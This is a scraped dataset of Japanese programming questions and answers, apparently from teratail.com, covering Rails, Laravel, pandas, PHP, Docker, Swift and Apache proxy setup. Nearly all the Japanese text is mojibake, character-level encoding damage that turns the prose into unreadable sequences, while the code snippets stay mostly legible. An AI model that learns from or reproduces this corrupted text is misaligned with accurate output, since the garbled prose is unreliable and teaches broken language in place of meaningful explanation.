"text": "ããªãã®ã³ãŒãã®ä»¥äžã®ç®æã§ããã \n\n\n\n```\n DB::table('users')->insert(\n ['account\\_code' => 'account\\_code'],\n ['user\\_name' => 'user\\_name']\n );\n```\n\n \n\nãŸãinsertã«æž¡ãããŒã¿ã¯ã1ä»¶ã®ã¬ã³ãŒãã1åã®é£æ³é
åãã«ãªã£ãŠããªããã°ãªãããããã§ã¯ãaccount\\_codeã ããæã£ãããŒã¿ãuser\\_nameã ããæã£ãããŒã¿ãããã1ä»¶ãã€ããšããins... |
b7c6f7fc457a83172e54a6a03258a051 |
### åæã»å®çŸãããããš
Ruby on rails åå¿è
ã§ãã
çŸåšãECãµã€ãã®æ§ç¯ãè¡ã£ãŠãããã€ãŸãããã®ã¯ãDBãžã®é
åæ
å ±ãã®ç»é²åŠçã§ãã
`cart_itemsããŒãã«`ã«å
¥ã£ãŠããã«ãŒãæ
å ±ã2ã€ä»¥äžã®å Žåãé
åã䜿ã£ãŠ`ordersããŒãã«`ã«æ
å ±ãç»é²ãããåŠçãäœæããŠãããŸãã
ãåå賌å
¥ããã¿ã³æŒäžâ`createã¢ã¯ã·ã§ã³`ã§`addressesããŒãã«`ã`ordrsããŒãã«`ã«ååæ
å ±ãªã©ãç»é²ïŒè³Œå
¥ããååã1ã€ã®å Žåã§ããã°åé¡ãªãã®ã§ããã2ã€ä»¥äžã«ãªããšé
åã䜿ããªããšãããªãããªãšæã£ãŠãããŸããïŒ
ãšããæµããæ§ç¯ããããšèããŠããŸãã
### ... | ruby on rails é
åã®ããŒã¿éä¿¡æ¹æ³
========================
| teratail.com | 2021.31 | [
{
"text": "äžèšã®éãã«å€æŽãããšãããŸããããŸããïŒ \n\n\n\n```\n(views/orders/index.html.erb)äžéšèšèŒ\n<%= form\\_for(@address, url: orders\\_path) do |f|%>\n <%= f.hidden\\_field :user\\_id, value: current\\_user.id %>\n <%= f.hidden\\_field :last\\_name, value: session[:last\\_name] %>\n <%= f.hidden\\_field :first\\_name, value: ... |
e8a542d33062022705b69d3bafd580bc |
äŒç€Ÿåœ¹å¡ã人äºè©äŸ¡ããããšãã§ããã¢ããªãäœã£ãŠãããšããŸãã圹å¡ã¯è€æ°äººããŸãã
è©äŸ¡æææ¯ã«åœ¹å¡ã¯ãåŸæ¥å¡ãäžèЧããŒãžã§åŸæ¥å¡æ¯ã«æ°åãå
¥åããŠããããã¹ãŠå
¥åãçµãããšsubmitããŠäžæ¬ä¿åããŸãã
ãã®ãããªç»é¢ã仿§ã®å ŽåãåŸæ¥å¡ã®ã¬ã³ãŒãã«éè€ããªãããã€åœ¹å¡ã®èª°ãå
¥åãããããããã«ã¯ã©ã®ãããªå®è£
ã»ããŒãã«èšèšã«ãªããŸããïŒ
ãããããé¡ãããŸãã
| ãRailsããŠããŒã¯ãã€åã¬ã³ãŒãæ°ã決ãŸã£ãŠãã1察å€ãäžèŠ§ã§æŽæ°ããã
======================================
| teratail.com | 2021.10 | [
{
"text": "圹å¡ãè€æ°ãã€åŸæ¥å¡ãè€æ°ãªã®ã§ãããã¯å€å¯Ÿå€ã®é¢ä¿ã ãšæãããŸã\n \n\n \nã®ã§ãäžéããŒãã«ããã€ã®ãã»ãªãªãŒã§ã¯ãªãã§ããããïŒ\n \n\n \n\n \n\n```\nclass Employee < ActiveRecord::Base\n  has_many :rates\nend\n\nclass Rate < ActiveRecord::Base\n  belongs_to :employee\n  belongs_to :employer\nend\n\nclass Employer < ActiveRecord::Base\n  has_many :rat... |
0663f030db16cf4b3c2d4dc62f73cbb7 |
pythonã§excelã®ã·ãŒããäœæãã**ã·ãŒããæå®ããŠæžãåºããè¡ãããã§ã**ã
äžèšããã°ã©ã ã§ã¯ã·ãŒããäžæžããããŠããŸããããŸããã
çŸç¶ã¯ãã³ã¡ã³ãã¢ãŠãã«æžããŠããéãã§ãã
äžèšã®ã³ãŒãã§ã¯ãdfã®äžã«ã¯æ¢ã«ããŒã¿ãæ ŒçŽãããŠããŸãã
```
import pandas as pd
import openpyxl
wb = openpyxl.Workbook()
for i in range(1, 5):
worksheet = wb.create_sheet(title=str(i))
wb.save("Sample.xlsx")
ãã## ãã®æç¹ã§ã¯ã·ãŒã1-... | pythonã§ã®excelã®æäœ
================
| teratail.com | 2021.43 | [
{
"text": "远èšã¢ãŒãã§pd.ExcelWriterãäœãã°è¯ãã§ãã \n\n\n\n```\nwith pd.ExcelWriter('Sample.xlsx', mode='a') as writer:\n df.to_excel(writer, sheet_name='1')\n```\n\n\n\n---\n\n\näœãåãããªãããšããã£ããšãã¯ããŸããªãã¡ã¬ã³ã¹ãèŠãŸãããã \n\næ¡å€ãã®ãŸãŸã®çããæžããŠãã£ãããããã®ã§ãã \n\n\n\n> \n> ExcelWriter can also be used to append to an existing Excel fil... |
24b9c2eb54b867bfc14a8d84c6985813 |
### åæã»å®çŸãããããš
macã䜿çšããŠããPythonã®ã¢ãžã¥ãŒã«ã®äžã€ã§ããpyaudioãã€ã³ã¹ããŒã«ãããã®ã§ãã以äžã®ãããªãšã©ãŒãåºãŸããå¯ŸåŠæ¹æ³ãæããŠããã ããªãã§ããããïŒ
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
tsugawahiroaki-no-MacBook-Pro:study Hiroaki$ pip install pyaudio
Collecting pyaudio
  Using cached PyAudio-0.2.9.tar.gz
Installing collected packages: pyaudio
  Running setup.... | Python pyaudioã®å°å
¥
=================
| teratail.com | 2021.31 | [
{
"text": "copying build/lib.macosx-10.10-intel-2.7/\\_portaudio.so -> /Library/Python/2.7/site-packages \n\nerror: [Errno 13] Permission denied: '/Library/Python/2.7/site-packages/\\_portaudio.so' \n\nãšããã®ã§ãbuild/lib.macosx-10.10-intel-2.7/\\_portaudio.so ã /Library/Python/2.7/site-packages ãžã³ããŒããããšãæš©éãç¡... |
d9912f476aae5b97785698fba17807b6 |
HTMLã§å¥ã¿ãã§ãªã³ã¯ãéãããããšã
```
<a href="ããã«URL" target="_blank">ããã«ãªã³ã¯ããã¹ã</a>
```
ãããããšæãã®ã§ãããå¥ã¿ãã§éããæã«å
ã®ãŠã£ã³ããŠãã¢ã¯ãã£ãã«ããŠããããã§ãã
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ã ãšæ°ããå¥ã¿ãã§éããæ¹ã«ç»é¢ãç§»åããŠããŸããŸãã
å¥ã¿ãã§éããç¶æ
ã§ç»é¢ãç§»åãããªãæ¹æ³ãæããŠãã ããã
| HTMLãå¥ã¿ãã§ãªã³ã¯ãéã
===============
| teratail.com | 2021.31 | [
{
"text": "ããã£ããåºãŠããŸããã\n \n\n \n<http://be-a-prgrmr.hatenablog.com/entry/2014/12/27/065651>\n \n\n \nå
容ãšããŠã¯(ctrl | cmd)ããŒãæŒããªãããªã³ã¯ãã¯ãªãã¯ãããšãã®åäœãå®çŸãããã®ã¿ãããªã®ã§ãOSãå€å®ããŠåå²ãããããšãå¿
èŠããšæããŸãã \n",
"name": "",
"is_accepted": true
},
{
"text": "æ°èŠã¿ããéãéã®æåã¯ãã©ãŠã¶ã«å§ããããã®ã§ãhtmlãjsã§ã¯ã©ãã«ãåºæ¥ãªããšæããŸãã\n \nãµã€ãäž... |
f22a0fc6199508b96830d04b00f00b92 |
Laravel5.1ã䜿ã£ãŠããŸãã
ã¿ã€ãã«éãã
```
php artisan make:Model HogeModel
```
Â
ã§ModelãModelsãã©ã«ãå
ã«äœãããã®ã§ããããªããappçŽäžã«äœæãããŠããŸããŸãã
ãããã©ãã«ãModelsãã©ã«ãã®äžã«äœããªãã§ããããã
äœè«ã§ããããªãLaravel5ããModelsãã©ã«ããç¡ãã®ã§ããããïŒæ±
以äžããããããé¡ãèŽããŸãã
| php artisan make:Model Hoge ã§ModelãModelsãã©ã«ãå
ã«äœããã
===================================================
| teratail.com | 2021.43 | [
{
"text": " \nããã«ã¡ã¯ã\n \n\n \nåçäŸé Œãæè§é ããŸããã®ã§ãåèãŸã§ã«ã\n \n\n \n* ãããã©ãã«ãModelsãã©ã«ãã®äžã«äœããªãã§ããããã\n\n\n \næåŸ
ããçããšã¯ç°ãªããããããŸãããã\n \nãã£ã¬ã¯ããªãæå®ããããšã§äžå¿å¯èœãªããã§ãã\n \n<http://qiita.com/astrsk_hori/items/c3748c588164ab0ebd1b#model%E3%82%92%E4%BD%9C%E6%88%90>\n \n\n \n* ãªãLaravel5ããModelsãã©ã«ããç¡ãã®ã§ããããïŒ\n\n\n \nmo... |
b80e139aa715b5e2e72b4f779517838d |
ãäžè©±ã«ãªããŸãã
javascriptãããŒã«ã«ã®ãã©ãŠã¶ã§åäœãããŠ
察象ã®webãµãŒãããhttpã®ã¹ããŒã¿ã¹ã³ãŒããååŸã
200ãåŠãã§è¡šã®STATUSæ¬ã®è²ãšæèšãå€åããããã§ãã
â»ã¯ãã¹ãã¡ã€ã³å¶éã¯ãã©ãŠã¶ã§è§£é€
xhr.onreadystatechangeå®è¡æã«ifæã§
resultã«OKãNG
bg\_colorã«è¡šç€ºããè²
ã代å
¥ããŠããŸããã
ãã®åŸã®document.writeã«ããŸãåæ ãããŸããã
(undefinedã«ãªã£ãŠããŸã)
ãææé¡ããŸãã
```
<html>
<head>
<meta ... | javascriptã§httpã¹ããŒã¿ã¹ã³ãŒããååŸ
==========================
| teratail.com | 2021.04 | [
{
"text": "\n```\nxhr.onreadystatechange = function(){\n if (xhr.readyState === 4 && xhr.status === 200){\n //console.log(\"200\");\n result = \"OK\";\n bg_color = \"Lime\";\n }else{\n result = \"NG\";\n bg_color = \"Red\";\n }\n ... |
b2e9d60039fee6f5c914df7294499c96 |
### åæã»å®çŸãããããš
Swiftã§Dictionaryã宣èšããã¿ãŒããã«ã§åºåãããš
warningãçºçããŸãã
ããã¯äœãåé¡ãšãªã£ãŠããã®ã§ããããã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
test.swift:7:7: warning: expression implicitly coerced from 'Int?' to Any
print(numberOfTires["è»"])
test.swift:7:20: note: provide a default value to avoid this warning
print(numberOfTires["è»... | Swift Dictionaryãã®warningã«ã€ããŠ
=============================
| teratail.com | 2021.17 | [
{
"text": "Swift3ããã ã£ããšæããŸãããprintæã§ãªãã·ã§ãã«åã衚瀺ããããšãããšããã®warningãåºãããã«ãªããŸããããã®ãŸãŸã§æ°ã«ããªããŠãããã§ããã \n\n\n\n```\nprint(numberOfTires[\"è»\"] ?? \"(nil)\")\n```\n\nãªã©ãšããŠãéãªãã·ã§ãã«åã«ããŠããã°ããã§ãã \n\n\n`??`ã«ã€ããŠã¯äžèšãåç
§ã®ããšã \n\n[Swift ã®Â ?? ã£ãŠãªãã ã£ã](https://qiita.com/toshi0383/items/9965bb5e1c8b63fca695) \n\n",
"name": "",
... |
d2731d837195e328f8b748cffc2a2042 |
åå¿è
ã§æçž®ã§ãããããããé¡ãããŸãã
ã¢ãã«ã䜿çšããªããã©ãŒã ã§åãåã£ãããã¹ãããå€ãããªããŒã·ã§ã³ãããã®ã§ãããããŸããããŸããã
ãã¡ããåèã«ããŠããŸãã
Form https://book.cakephp.org/3.0/ja/views/helpers/form.html
ããªããŒã·ã§ã³Â https://book.cakephp.org/3.0/ja/core-libraries/validation.html
ã¢ãã«ã®ãªããã©ãŒã https://book.cakephp.org/3.0/ja/core-libraries/form.html
ãã¹ããšããŠã¢ãã«ã®ãªããã©... | ã¢ãã«ã¬ã¹ãã©ãŒã ãã¹ãããããŒã¿ã®ããªããŒã·ã§ã³
==========================
| teratail.com | 2021.25 | [
{
"text": "ãã¹ãããããŒã¿ãa.nameã®ããã«1:1ã®é¢ä¿ã®å ŽåãaddNestedManyã§ã¯ãªãaddNestedã§ãã \n\n\nãªããaddNestedManyã¯ã1:Nã®é¢ä¿ã®å Žåã«äœ¿çšãããã®ãªã®ã§ã以äžã®ãããªãã©ãŒã ã®å Žåã«äœ¿ããã®ã ãšæããŸãã \n\n\n\n```\n<?=$this->Form->create($mytest) ?>\n<?=$this->Form->control('a.0.name') ?>\n<?=$this->Form->control('a.0.email') ?>\n<?=$this->Form->control('a.0.body') ?>\n<?... |
770ae6c196ef588e80249f5dd5c74bc2 |
çµç·¯
--
ããŒã«ã«ç°å¢ã«wordpressã®éçºç°å¢ãçšæãããšã®ããšã§ã
äŒç€Ÿã§çšæããŠããdockerã®ããã±ãŒãžã䜿çšããŠã
æºåããã®ã§ããlocalhostã«æ¥ç¶ãã§ããŸããã§ããããã
以åå¥ã®ç°å¢ãçšæããéã«ã
åãããã±ãŒãžãå©çšããŠãæç€ºéãã®æé ã§èšå®ãã
åé¡ãªãã§ããã®ã§ä»åãåæ§ã®æé ã§ãã£ãŠã¿ããã®ã®æ¥ç¶ã§ããããã
ããã±ãŒãžãçšæããŠãããäžåžã«èããŠããããã...
ç°å¢
--
MacOS High Sierra(10.13.6)
Docker 18.06.1-ce-mac73 (26764)
質åå
容
----
**ããã±ãŒãž... | docker-composeã§ããŒã«ã«ç°å¢ã«wordpressãèšå®ããŠãlocalhostã«ç¹ããªãã
====================================================
| teratail.com | 2020.34 | [
{
"text": "mariadbãåèµ·åãç¹°ãè¿ããŠããããã§ãã®ã§ \n\nhttps://help.directadmin.com/item.php?id=702 \n\nãããåèã« \n\n`~/work/mari/data/db $ sudo mv aria_log_control aria_log_control.move` \n\nãããªæãã§`aria_log_control`ããªããŒã ããåã³docker-compose upããããšããã§ããŸããã \n\n\nwordpressã³ã³ãããäœåºŠãmaridbã³ã³ããã«ãªãã©ã€ããŠããããã§ãã®ã§ãå°ãåŸ
ã£ãŠãããå¿
èŠããããŸãã \n\... |
fd05f204c5c3d63e2bbc1f7abd851009 |
â 解決ãããããš
showããŒãžã®äžéšåã«å¯Ÿå¿å±¥æŽã®å
¥åã»äžèŠ§è¡šç€ºã®æ¬ãäœããããšæã£ãŠããŸãã
èŠãç®ã¯ãŸã æŽããŠããªãã®ã§ã容赊ãã ããã
[](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/78c98b376be47e89e6014f4f95fdf838.png)
saveæã«ã³... | Rails : saveæã«ã³ã³ãããŒã©ãŒã®åŠçã¯successãšãªããDBã«ä¿åãããªã
=============================================
| teratail.com | 2020.10 | [
{
"text": "from\\_withã«local: trueãè¿œèš \n\n\n\n```\n<%= form_with url: staff_memo_path(client_id: @client.id), method: :post, local: true do |f| %>\n```\n\ncontrollerãäžèšã®ããã«å€æŽ \n\n\n\n```\nif @client.update(staff_memo)\n flash[:success] = \"ç»é²ãå®äºããŸãã\"\n redirect_back(fallback\\_location: client_show_url)\nels... |
8058b1651320dd25fc3a267efc624e6d |
ïŒèæ¯ïŒ
äŒæ¥ããŒã¿ãå
¥ã£ãtxt fileã䜿ã£ãŠããŒã¿åæãããããšèããŠããŸãã
ãã®ããã«txt fileã«å
¥ã£ãäŒæ¥ããŒã¿ãdataframeã§è¡šç€ºããããšããŠããŸãã
ïŒç°å¢ïŒ
Mac / Python 3.6.7
ïŒåé¡ïŒ
pandasã§ããŒã¿ãå
¥ã£ãtxt fileã
```
import pandas as pd
data = pd.read_table('companies.txt')
data
```
éãããšãããš,
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xa0 in position 2... | pandas ã§txt ãã¡ã€ã«ãéãããšãããš'utf-8' codec can't decode byte 0xa0 ãšè¡šç€ºããã
===================================================================
| teratail.com | 2019.51 | [
{
"text": "ãã®StackOverFlowå
ã®åçã« \n\n\n\n```\ndata = pd.read_table('companies.txt', engine='python')\n```\n\n \n\nãšãããã®ããã£ãŠç§ã®ç°å¢ã§ã¯ããã§ãšã©ãŒåºãªãã£ãã®ã§ããã©ãã§ããããã\n\n",
"name": "",
"is_accepted": true
}
] |
d42f1456c25807d1feb27b49d3c4e87f |
çŸåšãLinuxäžã§Apache2.2ãšGlassfish4.1ã皌åãããŠãããŸãã
Apacheã¯80çªããŒããGlassfishã¯8080çªã管çã³ã³ãœãŒã«ã4848çªã§åããŠããŸãã
ãŸããGlasfishã¯ã¯ã©ã¹ã¿æ§æã®ããã管çã³ã³ãœãŒã«ã¯httpsã§åäœããŠãããŸãã
ãã®ç¶æ
ã§ãGlassfishã®8080çªããŒããš4848çªããŒãã«å€éšããã¢ã¯ã»ã¹ã§ããããã«ããããã
mod\_proxy\_httpãå©çšããŠãªããŒã¹ãããã·ãäžèšã®ããã«èšå®ããŸããã
<IfModule mod\_proxy.c>
ProxyRequests Off
<Proxy *> ... | Apache-Glassfish飿ºæ¹æ³
====================
| teratail.com | 2019.47 | [
{
"text": "ãšã©ãŒã¡ãã»ãŒãžã«ããã³ããæžãããŠããŸãããApacheã§httpsããªããŒã¹ãããã·ããå Žåã¯mod\\_sslãšSSLProxyEngine onã®èšå®ãå¿
èŠã§ãã \n\n\nmod\\_ssl ã䜿ããããã«ããŠã \n\n\n\n```\n<Location \"/managed-fish/\">\nSSLProxyEngine on\nProxyPass https://127.0.0.1:4848 \nProxyPassReverse https://127.0.0.1:4848 \n</Location>\n```\n\n \n\nã®ããã«Â SSLProxyEngine ã远... |
07cd7ee9529a175a86ffe971d6b9a9b4 |
**Rubyã§ã¡ãœããã远å ããããåŠçããããã®ã§ããã**
ã©ãªãããããå®çŸããæ¹æ³ãæããŠããã ããªãã§ããããïŒ
| Rubyãã¡ãœããã远å ããããåŠçãããã
======================
| teratail.com | 2020.05 | [
{
"text": "**ã¯ã©ã¹ã«å¯ŸããŠãã¡ãœããã远å ãããæã«åŒã³åºãããã¡ãœããããããŸãã**\n \n\n \n\n```\nModule#method_added\n```\nãšããã¡ãœããã§ãã \n \n\n \nãã®ã¡ãœããããªãŒããŒã©ã€ãããããšã§ããã®ã¯ã©ã¹ãã¢ãžã¥ãŒã«ã«å¯Ÿãã\n \nã¡ãœããã®è¿œå ãããã¯ããããšãã§ããŸãã\n \n\n```\n Module#method_addedã¯ãåŒæ°ãšããŠè¿œå ãããã¡ãœããåããæž¡ãããŸãã \n```\n \n",
"name": "",
"is_accepted": true
}
] |
6dc20f3a3136164e092b13c63c0793e5 |
PFäœæäžã®ååŠè
ã§ãã
ãµã€ãã®æ¹ãäžéã宿ãããããŸã§ãµã€ãå
¬éã«äœ¿ã£ãŠããherokuããawsã«åãæ¿ããã¹ããããã€æ¹æ³ã暡玢ããŠããŸãã
githubããã¯ããŒã³ããŠãdocker-compose up -dãããšãã©ãŠã¶ã§ãææã¡ã®ã¹ããã§ããµã€ãã«ã¢ã¯ã»ã¹ã§ããïŒhttp://ããã.ããã.ããâãã®æ«å°Ÿã«:80ãã:3000ããæããªããŠãã¢ã¯ã»ã¹ã§ããïŒã®ã§ãæ¬çªç°å¢ã§å
¬éã¯ã§ããŠããã®ããªïŒãšæãã®ã§ãããdocker-compose stopãããšã¢ã¯ã»ã¹ã§ããªããªããŸãã
ãã®ç¶æ³ã«ããªãéåæãããããããã€ã§ããŠããã®ãããªãã®ããããããããªãã§ãã
å§åçç¥èäžè¶³ã§æçž®... | AWSãžã®rails on Dockerã¢ããªã®ãããã€ã¯ãäœããã£ãŠå®äºãšãªãïŒ
=========================================
| teratail.com | 2020.40 | [
{
"text": "äžã§äœããã£ãŠããã®ãããããŸãããããœãŒã¹ãä¹ããã ãã§åãããŠãªãã£ããã¢ã¯ã»ã¹ã§ããªãã®ã¯åœç¶ã§ãã \n\n\n\n> \n> githubããã¯ããŒã³ããŠãdocker-compose up -dãã \n> \n> \n> \n\n\nããã¯AWSäžã®EC2ã€ã³ã¹ã¿ã³ã¹ã§ããšããããšã§ããããã \n\n\n\n> \n> docker-compose stopãããšã¢ã¯ã»ã¹ã§ããªããªããŸã \n> \n> \n> \n\n\nããã¯ã¢ããªã±ãŒã·ã§ã³ãåãããŠããã³ã³ãããæ¢ããŠããã®ã ãããåœç¶ã¢ã¯ã»ã¹ã§ããªããªããŸããã \n\nåããŠãããã®ãæ¢ããŠããã®ã ãããæ£ããæåã§... |
30d3c3cdef3cc1eb5a13c40c0e15b170 |
æåã®è²ãå€ãããªãã®ã§æåè²ã®å€æŽãæããŠã»ããã§ãã
ïŒïŒ¬ãšïŒ£ïŒ³ïŒ³ã®éå±€ã¯åãéå±€ã«ãããŸãããÂ
<!DOCTYPEÂ html>
<html lang="ja">
    <head>
        <meta charset="utf-8">
        <title>åããŠã®ïŒšïŒŽïŒïŒ¬</title>
        <link rel="stylesheet" href="css/hogehoge.css" type="text/css">
    </head>
    <body>
        <div id="anan">
... | ïœïœïœïœã§ã®æåè²ã倿Žããããå€ãããªã
=====================
| teratail.com | 2021.10 | [
{
"text": "chrome, firefox ã®éçºçšã®æ©èœã䜿ããšãcss ã®é©çšç¶æ³ã調ã¹ãããšãã§ããŸãã\n \n(IE ã§ãã§ãããšããããŸãããæ®æ®µÂ Windows ã䜿ã£ãŠããªãã®ã§è©³çްã¯äžæ)\n \n\n \nåèæ
å ±ïŒ\n \n- Google Chromeã®æšæºæ©èœãèŠçŽ ã®æ€èšŒããç¥ãããŠã¯ãã¿ïŒïŒÂ <http://iwaimotors.com/blog/2014/03/chrome_good/>\n \n- Firefoxã®èŠçŽ ã調æ»Â <http://beginners-hp.com/element_investigation.html>\n \n\n \nãã®æ©èœã䜿ã... |
64ca22ddcbe34004a515fce51129a8ea |
質åã§ãã
login.phpã§å
¥åãããæ
å ±ãsuccess.phpã«æž¡ãã«ã¯ã©ãããã°ããã®ã§ããããã
ãã®ç¶æ³ã§å®è¡ã㊠a ãå
¥åããŠéä¿¡ãããšerror.phpã«åŒ·å¶çã«éãããŸããsuccess.phpãçŽæ¥URLã§æå®ããŠã匷å¶çã«error.phpã«éãããŸãã
ã©ãªããæããŠãã ããã
```
//login.php
<form method="post" action="decide.php">
  ãŠãŒã¶IDãå
¥åããŠãã ããã<br>
  <input name="userid" type="text" style="width:100px"><br><br>
... | PHPã§å€ãæž¡ãã
=========
| teratail.com | 2020.10 | [
{
"text": "å
¥åå€ãæåŸ
éãããã§ãã¯ããŠã¿ãŠãã ããã\n \n\n \ndecide.phpã\n \n\n```\n<?php\n$userid = $_POST['userid'];\n$userid = htmlspecialchars($userid);\nvar_dump($userid);\n/*\nif($userid == 'a'){\n  header(\"Location: success.php\");\n}\nelse{\n  header(\"Location: error.php\");\n}\n*/\n```\nã®ããã«ã\n \nã»ãªãã€ã¬ã¯ããããªã\n \n... |
3e10d4247e367f34411871530d25aea8 |
fetchã§è¡šçŸãããã§ãã
fetchAll()ããã®ã³ãŒãã ãšfetchã§ãããã¿ããã§ãã
ãã®ã³ãŒããfetchã§è¡šçŸãããã§ãã
ãæç€ºãã ããã
```
foreach ( $stmt->fetchAll () as $row ) {
$\_SESSION ['customer'] = array (
// idãšããããŒã§$row['id']ãå
¥ãã
'id' => $row ['id'],
'name' => $row ['name'],
'address' => $row ['ad... | PHP fetchAllã®æãfetchã«ãããã§ã
==========================
| teratail.com | 2021.17 | [
{
"text": "ãªãããã«ãŒãã®äžãããã³ãã©ããããããããŸããã \n\n衚é¡ã®åçã ãã ãšãããšã \n\n\n\n```\nforeach ( $stmt->fetchAll () as $row ) {\nâââ\nwhile ( $row = $stmt->fetch(PDO::FETCH_ASSOC) ) {\n```\n\nãããªæãïŒ \n\n\nã³ã¡ã³ãã«çããŸã\n---------\n\n\nããã¥ã¢ã«ã®[代å
¥æŒç®å](http://php.net/manual/ja/language.operators.assignment.php)ã®ãšããã«ã¯ãããªäŸé¡ãèŒã£ãŠãŸãã \n\n\... |
fd438fb9ecbec697aeffa9d422865587 |
Node.jsã§ããã°ã©ã ããŠã¿ããã§ãã
ãããããªå®è¡ç°å¢ãããã¿ããã§ããã
ã©ãããå§ãã¯ãããŸããïŒ
GUIã§ãããã°åºæ¥ãç©ãããã§ãã
| Node.jsã®ããã°ã©ã ç°å¢æ§ç¯
=================
| teratail.com | 2021.10 | [
{
"text": "nodeclipseããå§ãã§ãã\n \nãããã°ãåºæ¥ãŸãã\n \n\n \nNode.jsãã€ã³ã¹ããŒã«\n \n<http://nodejs.org/download/>\n \nããåŸãnodeclipseãEclipseã®ã¢ããããŒããµã€ã\n \n<http://www.nodeclipse.org/updates/>ããã€ã³ã¹ããŒã«\n \nããã®ãç°¡åã§ãã\n \n\n \nåå¿è
ã«æšå¥šããã¢ãžã¥ãŒã«ã¯ã\n \n<http://www.nodeclipse.org/updates/>ãµã€ãã®\n \nb) update site (Recommend... |
0fecd081577199e6ffa82d52d2a7193b |
<a>ã¿ã°ã§å²ãããç¯å²ãã¯ãªãã¯ãããš
<form action>ããããªããããšããåŠçãããŠããã®ã§ããã
äœåºŠãã£ãŠãããŸããããŸããã
ãŸãã該åœããã³ãŒãã¯ãã¡ãã§ãã
```
 <form action="YourSelectEngineer?switch=MatchingDetailEngineer" method="POST" name="blueForm">
      <input type="hidden" name="engineerid" value="${ engineerlist.engineerid }"/>
      </form>
      <div c... | <a>ã¿ã°ã§<form>ã®POSTããŒã¿ãéä¿¡ãããããããŸããããŸããããHTMLã
===========================================
| teratail.com | 2021.43 | [
{
"text": "`<form action=\"YourSelectEngineer?switch=MatchingDetailEngineer\" method=\"POST\" name=\"blueForm\">`\n \nã®éšåã§ããïŒactionã®äžèº«ã«åŒæ°ãæå®ããŠãéä¿¡ãããªãã£ãããã«èšæ¶ããŠãããŸãïŒ\n \n\n \n`<form action=\"YourSelectEngineer\" method=\"POST\" name=\"blueForm\">`\n \n`<inpu type=\"hidden\" name=\"switch\" value=\"MatchingDet... |
81954bd407eb935465f0bef271c02827 |
PHPããMYSQLãæäœããããšèããŠãããŸãã
ããããããŒã¿ããŒã¹ãæ±ãã®ã¯åããŠãªã®ã§ããšãããã以äžã®ã³ãŒãã§æ¥ç¶ã§ããã詊ãããšããæ¥ç¶å€±æãšãªã£ãŠããŸããŸãã
ç°å¢ã¯XAMPPã§ãã
MDB2ãã€ã³ã¹ããŒã«ããªããã°ãããªãã®ããpathãèšå®ããªããã°ãããªãã®ããè²ã
ãµã€ãã§èª¿ã¹ãŠã¿ãã®ã§ããçŸåšèªåãäœãåé¡ãªã®ããããã£ãŠãããŸããã
XAMPPã¯ã€ã³ã¹ããŒã«ããŠããPHPããæ±ã£ãŠããªããããã»ãŒããã©ã«ãã®ãŸãŸã ãšæããŸãã
ç³ãèš³ãããŸãããããããããã説æãããããé¡ãããŸãã
```
<meta charset="UTF-8"><?p... | åããŠã®MYSQLã®æ¥ç¶
============
| teratail.com | 2020.40 | [
{
"text": "ã©ã®ãããªãµã€ããåèã«è©Šè¡é¯èª€ãããŠããŸããïŒ\n \nãã¡ãã®ãµã€ãã確èªãããšããMDB2ãã¢ãžã¥ãŒã«ããŸãã€ã³ã¹ããŒã«ããå¿
èŠãããããã§ããã\n \nãµã€ãèšäºã®æé ãšãµã³ãã«ãœãŒã¹ãåèã«ãããšããŸãåäœãããã§ãã\n \n* http://codezine.jp/article/detail/2480\n\n\n \näžèšããŒãžã§åãããªãéšåãããã°ãåãããªãç¹ãå
·äœçã«è³ªåãããšæŽã«è©³ããåçãåŸããããããããŸããã\n \nå©çšããŠããphp, xammp, mysqlã®ããŒãžã§ã³ã«äŸåããåé¡ãããå¯èœæ§ãããã®ã§ããããã£ãæ
å ±ãèšèŒãããšæŽã«ç確ãªåç... |
a3ffb9aac86cea6cfb2ce0718f0758bc |
åªä»ãèŠå®ã®ãã©ã«ãã«å
¥ã£ãŠããEXCELãã¡ã€ã«ã
å
šãŠèªåã§åã蟌ããã¯ããäœæããããšèããŠããŸãã
ãã¡ã€ã«ã®é
ç®ã¯å
šãŠåãã§ãããè€æ°ã®ã·ãŒããããããã
ã·ãŒããæå®ããŠã²ãšã€ã®ããŒãã«ã«ãŸãšãããã§ãã
以äžã®ããã«çµã¿ç«ãŠãŸãããã
ã·ãŒãã®æå®ãæ£ããåæ åºæ¥ãªãç¶æ³ã§ãã
```
Private Sub ã³ãã³ã0_Click()
Dim strPathName As String
Dim strFileName As String
strPathName = "C:\"
strFileName = Dir(strPathName & "*.xlsx")
Do Until ... | ACCESS 2019ã§è€æ°ã®ãã¡ã€ã«ãã€ã³ããŒã
=========================
| teratail.com | 2021.31 | [
{
"text": "`TransferSpreadsheet` ã®ç¬¬6åŒæ°(RangeåŒæ°)ã§ã»ã«ç¯å²ãæå®ã§ããŸããã·ãŒãåãæå®ãããšãã¯ã`\"ã·ãŒãå!\"` ãšããããã«!ãä»ããŸãã \n\n\n\n```\nDoCmd.TransferSpreadsheet _\n TransferType:=acImport, _\n SpreadSheetType:=acSpreadsheetTypeExcel97, _\n TableName:=\"ã€ã³ããŒãçšããŒãã«\", _\n FileName:=strPathName & strFileName, _\n HasFieldNames:=True,\n ... |
748b4ade55cb25478c3289c9abcfb6f8 |
### åæã»å®çŸãããããš
next jsã§typescriptã䜿ã£ãŠãstartAtãšendAtã
çŸåšã1~7æã®å Žå -> starAtãå幎8æãendAtãä»å¹Žã®7æ
çŸåšã8~12æã®å Žå ->starAtãä»å¹Žã®8æãendAtãæ¥å¹Žã®7æ
ã«ãããã§ãã
### ãšã©ãŒã¡ãã»ãŒãž
Error: Too many re-renders. React limits the number of renders to prevent an infinite loop.
ãšç¡éã«ãŒãã«ãªããšã©ãŒã«ãªã£ãŠããŸãã
### 詊ããããš
ãããã§èª¿ã¹ãã颿°ã«ããããããšæžããŠã... | next jsã§useStateã䜿ããšç¡éã«ãŒãã«ãªã£ãŠããŸããŸã
==================================
| teratail.com | 2020.45 | [
{
"text": "\n```\nuseEffect(() => {\n if (1 <= nowMonth && nowMonth <= 7) {\n setStartAt(\n DateTime.local()\n .set({ month: 8 })\n .minus({ year: 1 })\n .toJSDate(),\n );\n setEndAt(\n ... |
8727b1e9e7c9777ae608da3891e5af2e |
ç°¡åãªè³ªåãªã®ã§ããã
äžã«ããPHPã¹ããŒãã¡ã³ãã®æ©èœã¯ã©ã¡ããåãã§ãããã?
```
$hoge =& $thing;
